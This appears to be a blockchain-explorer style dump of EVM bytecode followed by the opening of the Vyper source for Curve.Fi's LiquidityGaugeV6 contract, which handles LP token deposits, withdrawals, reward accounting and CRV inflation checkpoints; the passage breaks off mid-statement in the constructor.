c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d841929658118801880a16576797065728300030a001600000000000000000000000015061e372d50792b68a8e400e89a5da0e4861236
5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d46c9684a4efe4c39fcf0b1caa83ab100c413d1e8c8485b98ae5a0cb14ff5998100000000000000000000000000000000000000000000000000000000000000016f01e3b5f266bac50ddef81189add8d2e58fa8d12105db28c83f6fd35a454a4fd089b4e6766d175f9c73d61de17090746db74079080b923608059751d47140f0
# pragma version 0.3.10 # pragma optimize gas # pragma evm-version shanghai """ @title LiquidityGaugeV6 @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Implementation contract for use with Curve Factory @dev Differs from v5.0.0 in that it uses create_from_blueprint to deploy Gauges """ from vyper.interfaces import ERC20 implements: ERC20 interface CRV20: def future_epoch_time_write() -> uint256: nonpayable def rate() -> uint256: view interface Controller: def checkpoint_gauge(addr: address): nonpayable def gauge_relative_weight(addr: address, time: uint256) -> uint256: view interface ERC20Extended: def symbol() -> String[32]: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface Factory: def admin() -> address: view interface Minter: def minted(user: address, gauge: address) -> uint256: view interface VotingEscrow: def user_point_epoch(addr: address) -> uint256: view def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view interface VotingEscrowBoost: def adjusted_balance_of(_account: address) -> uint256: view event Deposit: provider: indexed(address) value: uint256 event Withdraw: provider: indexed(address) value: uint256 event UpdateLiquidityLimit: user: indexed(address) original_balance: uint256 original_supply: uint256 working_balance: uint256 working_supply: uint256 event CommitOwnership: admin: address event ApplyOwnership: admin: address event SetGaugeManager: _gauge_manager: address event Transfer: _from: indexed(address) _to: indexed(address) _value: uint256 event Approval: _owner: indexed(address) _spender: indexed(address) _value: uint256 struct Reward: token: address distributor: address period_finish: uint256 rate: uint256 last_update: uint256 integral: uint256 MAX_REWARDS: constant(uint256) = 8 TOKENLESS_PRODUCTION: constant(uint256) = 40 WEEK: constant(uint256) = 604800 VERSION: constant(String[8]) = "v6.1.0" # <- updated from v6.0.0 (makes rewards semi-permissionless) EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(VERSION) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) CRV: constant(address) = 0xD533a949740bb3306d119CC777fa900bA034cd52 GAUGE_CONTROLLER: constant(address) = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB MINTER: constant(address) = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 VEBOOST_PROXY: constant(address) = 0x8E0c00ed546602fD9927DF742bbAbF726D5B0d16 VOTING_ESCROW: constant(address) = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2 # ERC20 balanceOf: public(HashMap[address, uint256]) totalSupply: public(uint256) allowance: public(HashMap[address, HashMap[address, uint256]]) name: public(String[64]) symbol: public(String[40]) # ERC2612 nonces: public(HashMap[address, uint256]) # Gauge factory: public(address) manager: public(address) lp_token: public(address) is_killed: public(bool) # [future_epoch_time uint40][inflation_rate uint216] inflation_params: uint256 # For tracking external rewards reward_count: public(uint256) reward_data: public(HashMap[address, Reward]) # claimant -> default reward receiver rewards_receiver: public(HashMap[address, address]) # reward token -> claiming address -> integral reward_integral_for: public(HashMap[address, HashMap[address, uint256]]) # user -> [uint128 claimable amount][uint128 claimed amount] claim_data: HashMap[address, HashMap[address, uint256]] working_balances: public(HashMap[address, uint256]) working_supply: public(uint256) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint integrate_inv_supply_of: public(HashMap[address, uint256]) integrate_checkpoint_of: public(HashMap[address, uint256]) # ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint # Units: rate * t = already number of coins per address to issue integrate_fraction: public(HashMap[address, uint256]) # The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint # All values are kept in units of being multiplied by 1e18 period: public(int128) # array of reward tokens reward_tokens: public(address[MAX_REWARDS]) period_timestamp: public(uint256[100000000000000000000000000000]) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint integrate_inv_supply: public(uint256[100000000000000000000000000000]) # bump epoch when rate() changes @external def __init__(_lp_token: address): """ @notice Contract constructor @param _lp_token Liquidity Pool contract address """ self.lp_token = _lp_token self.factory = msg.sender self.manager = tx.origin symbol: String[32] = ERC20Extended(_lp_token).symbol() name: String[64] = concat("Curve.fi ", symbol, " Gauge Deposit") self.name = name self.symbol = concat(symbol, "-gauge") self.period_timestamp[0] = block.timestamp self.inflation_params = ( (CRV20(CRV).future_epoch_time_write() << 216) + CRV20(CRV).rate() ) NAME_HASH = 